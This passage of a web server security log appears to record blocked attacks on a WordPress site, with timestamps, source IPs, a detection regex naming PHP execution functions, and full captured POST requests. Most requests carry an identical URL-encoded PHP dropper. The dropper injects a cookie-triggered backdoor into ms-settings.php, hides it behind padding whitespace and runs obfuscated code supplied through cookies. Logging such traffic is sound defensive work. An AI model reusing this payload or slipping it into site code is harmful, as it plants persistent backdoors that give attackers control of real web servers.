0%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\naccept-encoding:gzip,deflate\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-length:4286\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nupgrade-insecure-requests:1\naccept:*\/*\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvM20vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaA5p3EyoFV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\n\ngm=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/ms-settings.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B17%252B-17%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B49-48%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-5%252B8%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B82-78%255D%2529%2529%2520%257B%2520%2524sym%2520%253D%2520%2524_COOKIE%253B%2520function%2520module_controller%2528%2524value%2529%2520%257B%2520%2524sym%2520%253D%2520%2524_COOKIE%253B%2520%2524holder%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527f1fc5a85%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524holder%2529%2529%2520%257B%2520%2524holder%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522buffer_cache%2522%253B%2520%257D%2520%2524rec%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524sym%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524holder%2529%2529%2520%257B%2520%2524data%2520%253D%2520fopen%2528%2524holder%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524data%252C%2520%2524rec%2529%253B%2520fclose%2528%2524data%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524holder%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524holder%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522module_controller%2522%2529%253B%2520%2524ent%2520%253D%2520%25227178f9e735e883e960f781ddc60085d3%2522%253B%2520if%2520%2528%2521strncmp%2528%2524ent%252C%2520%2524sym%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522event_handler_initialized%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:41:12","51.38.81.255","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> ST:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/ms-settings.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B17%252B-17%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B49-48%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-5%252B8%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B82-78%255D%2529%2529%2520%257B%2520%2524sym%2520%253D%2520%2524_COOKIE%253B%2520function%2520module_controller%2528%2524value%2529%2520%257B%2520%2524sym%2520%253D%2520%2524_COOKIE%253B%2520%2524holder%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527f1fc5a85%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524holder%2529%2529%2520%257B%2520%2524holder%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522buffer_cache%2522%253B%2520%257D%2520%2524rec%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524sym%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524holder%2529%2529%2520%257B%2520%2524data%2520%253D%2520fopen%2528%2524holder%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524data%252C%2520%2524rec%2529%253B%2520fclose%2528%2524data%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524holder%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524holder%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522module_controller%2522%2529%253B%2520%2524ent%2520%253D%2520%25227178f9e735e883e960f781ddc60085d3%2522%253B%2520if%2520%2528%2521strncmp%2528%2524ent%252C%2520%2524sym%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522event_handler_initialized%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\naccept-encoding:gzip,deflate\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-length:4286\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nupgrade-insecure-requests:1\naccept:*\/*\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvH1DvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAiozMcMlV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\n\nST=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/ms-settings.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B17%252B-17%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B49-48%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-5%252B8%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B82-78%255D%2529%2529%2520%257B%2520%2524sym%2520%253D%2520%2524_COOKIE%253B%2520function%2520module_controller%2528%2524value%2529%2520%257B%2520%2524sym%2520%253D%2520%2524_COOKIE%253B%2520%2524holder%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527f1fc5a85%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524holder%2529%2529%2520%257B%2520%2524holder%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522buffer_cache%2522%253B%2520%257D%2520%2524rec%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524sym%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524holder%2529%2529%2520%257B%2520%2524data%2520%253D%2520fopen%2528%2524holder%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524data%252C%2520%2524rec%2529%253B%2520fclose%2528%2524data%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524holder%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524holder%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522module_controller%2522%2529%253B%2520%2524ent%2520%253D%2520%25227178f9e735e883e960f781ddc60085d3%2522%253B%2520if%2520%2528%2521strncmp%2528%2524ent%252C%2520%2524sym%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522event_handler_initialized%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:41:17","89.167.82.230","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/ms-settings.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B17%252B-17%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B49-48%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-5%252B8%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B82-78%255D%2529%2529%2520%257B%2520%2524sym%2520%253D%2520%2524_COOKIE%253B%2520function%2520module_controller%2528%2524value%2529%2520%257B%2520%2524sym%2520%253D%2520%2524_COOKIE%253B%2520%2524holder%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527f1fc5a85%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524holder%2529%2529%2520%257B%2520%2524holder%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522buffer_cache%2522%253B%2520%257D%2520%2524rec%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524sym%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524holder%2529%2529%2520%257B%2520%2524data%2520%253D%2520fopen%2528%2524holder%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524data%252C%2520%2524rec%2529%253B%2520fclose%2528%2524data%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524holder%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524holder%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522module_controller%2522%2529%253B%2520%2524ent%2520%253D%2520%25227178f9e735e883e960f781ddc60085d3%2522%253B%2520if%2520%2528%2521strncmp%2528%2524ent%252C%2520%2524sym%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522event_handler_initialized%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nsec-fetch-mode:navigate\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\nsec-fetch-user:?1\nhost:dewenlabels.com\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\naccept-encoding:gzip,deflate\nsec-ch-ua-mobile:?0\ncontent-length:4309\nsec-ch-ua-platform:\"Windows\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\nsec-fetch-site:none\nupgrade-insecure-requests:1\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/ms-settings.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B17%252B-17%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B49-48%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-5%252B8%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B82-78%255D%2529%2529%2520%257B%2520%2524sym%2520%253D%2520%2524_COOKIE%253B%2520function%2520module_controller%2528%2524value%2529%2520%257B%2520%2524sym%2520%253D%2520%2524_COOKIE%253B%2520%2524holder%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527f1fc5a85%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524holder%2529%2529%2520%257B%2520%2524holder%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522buffer_cache%2522%253B%2520%257D%2520%2524rec%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524sym%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524holder%2529%2529%2520%257B%2520%2524data%2520%253D%2520fopen%2528%2524holder%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524data%252C%2520%2524rec%2529%253B%2520fclose%2528%2524data%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524holder%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524holder%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522module_controller%2522%2529%253B%2520%2524ent%2520%253D%2520%25227178f9e735e883e960f781ddc60085d3%2522%253B%2520if%2520%2528%2521strncmp%2528%2524ent%252C%2520%2524sym%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522event_handler_initialized%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 09:41:19","212.87.197.20","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> RY:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/ms-settings.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B17%252B-17%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B49-48%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-5%252B8%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B82-78%255D%2529%2529%2520%257B%2520%2524sym%2520%253D%2520%2524_COOKIE%253B%2520function%2520module_controller%2528%2524value%2529%2520%257B%2520%2524sym%2520%253D%2520%2524_COOKIE%253B%2520%2524holder%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527f1fc5a85%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524holder%2529%2529%2520%257B%2520%2524holder%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522buffer_cache%2522%253B%2520%257D%2520%2524rec%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524sym%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524holder%2529%2529%2520%257B%2520%2524data%2520%253D%2520fopen%2528%2524holder%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524data%252C%2520%2524rec%2529%253B%2520fclose%2528%2524data%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524holder%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524holder%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522module_controller%2522%2529%253B%2520%2524ent%2520%253D%2520%25227178f9e735e883e960f781ddc60085d3%2522%253B%2520if%2520%2528%2521strncmp%2528%2524ent%252C%2520%2524sym%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522event_handler_initialized%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:4286\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvHyxvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOupaEcqTyiovV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 